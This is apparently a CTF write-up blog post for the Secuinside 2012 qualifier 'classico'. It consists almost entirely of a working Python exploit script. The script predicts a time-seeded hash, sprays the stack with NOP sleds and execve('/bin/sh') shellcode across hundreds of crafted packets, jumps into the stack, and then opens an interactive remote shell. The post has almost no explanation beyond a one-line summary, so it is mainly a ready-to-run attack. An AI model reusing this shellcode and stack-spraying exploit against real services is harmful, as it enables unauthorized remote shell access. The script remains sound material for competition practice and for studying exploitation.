CTF

Secuinside 2012 Quals - Classico (Exploit only)

pwn3r_45 2012. 10. 7. 01:39

Category : Pwnables

nickname: classico

 

HINT: 61.42.25.24:8080
(8181,8282,8383,8484,8585,8686,8787,8888,8989)

 

binary: http://61.42.25.24/classico

 

CentOS 6.2 / randomize_va_space 0 / exec-shield 1 

 

classico

Summary : lift esp , jump to stack




#!/usr/bin/python


from struct import pack

from socket import *

import ctypes , time


def d(x):

        return pack('<l',x)


def w(x):

        return pack('<h',x)


def b(x):

        return pack('<b',x)


HOST = "127.0.0.1"

PORT = 31337


libc = ctypes.cdll.LoadLibrary("/lib/libc.so.6")

SHELLCODE= "\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


def gen_hash(): # generate hash

global libc

res = ""

table = "0123456789abcdef"

libc.srand(libc.time(0))

for i in range(0 , 32):

rand_var = libc.rand()

res += table[rand_var % len(table)]

return res


def basic_check(jump_idx): # for pass check routines

global libc

pSize = 0x50

pSize2 = 0x08

pList = []

pList2 = []


for i in range(pSize / 4):

pList.append(d(0))

for i in range(pSize2 / 4):

pList2.append(d(0))


hash = gen_hash()


pList[0] = d(0x00000182)

pList[1] = "INET"

pList[2] = "COP\x00"

pList[9] = d(libc.time(0))

pList[10] = hash[:4]

pList[11] = hash[4:8]

pList[12] = hash[8:12]

pList[13] = hash[12:16]

pList[14] = hash[16:20]

pList[15] = hash[20:24]

pList[16] = hash[24:28]

pList[17] = hash[28:]

pList[18] = d(0x00000fff) # return value of stage 1

pList[19] = d(0)


pList2[0] = d(jump_idx)

pList2[1] = d(0x00000fff)

payload = "".join(byte for byte in pList) + "".join(byte for byte in pList2)

return payload


def get_input_check(): # payload(NOP + SHELLCODE + NOP + SHELLCODE)

return d(0) + "\xeb\x70"*(0xb00/2) + "\x90"*(0xc00-0xb00-len(SHELLCODE)) + SHELLCODE + "\x90"*(0xfff-0xc00-len(SHELLCODE)) + SHELLCODE


def idx_3_check(): # jump to 0xbfc8c8c8

return get_input_check()


def idx_9_check(): # jump to mprotect

return get_input_check()


def idx_f_check(count , loop , useStack): # jump to sub_main

global libc

pSize = 0x14

pSize2 = 0x0fff

pList = []

for i in range(pSize / 4):

pList.append(d(0))

pList[0] = d(count)

pList[1] = d(loop)

pList[2] = d(0)

pList[3] = d(useStack) # 0 : input to heap / else : input to stack

pList[4] = d(1)


payload = "".join(byte for byte in pList) + get_input_check()

return payload


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST , PORT))


raw_input("gogo? > ")

print "Wait for seconds .."


for i in range(0,700):

print i

s.send(basic_check(0xf) + idx_f_check(i , 1 , 0)) # lifting stack & lifting heap address

time.sleep(0.05)


for j in range(0,165):

print j

s.send(basic_check(0xf) + idx_f_check(700 + j , 1 , 1))       # lifting stack & put payload(NOP + SHELLCODES) in stack

time.sleep(0.05)


s.send(basic_check(0xf) + idx_f_check(865 , 3 , 1)) # for multiple function call

#s.send(basic_check(0x9) + idx_9_check()) # for mprotect(0xbfc8c8c8 , 7 , 0x32 , 0 , 0)

s.send(basic_check(0x3) + idx_3_check()) # for jump to 0xbfc8c8c8


time.sleep(1)



############################# Got SHELL ##############################

while 1:

cmd = raw_input("$ ")

s.send(cmd + "\n")

if cmd == "exit":

break

print s.recv(1024)

######################################################################

s.close()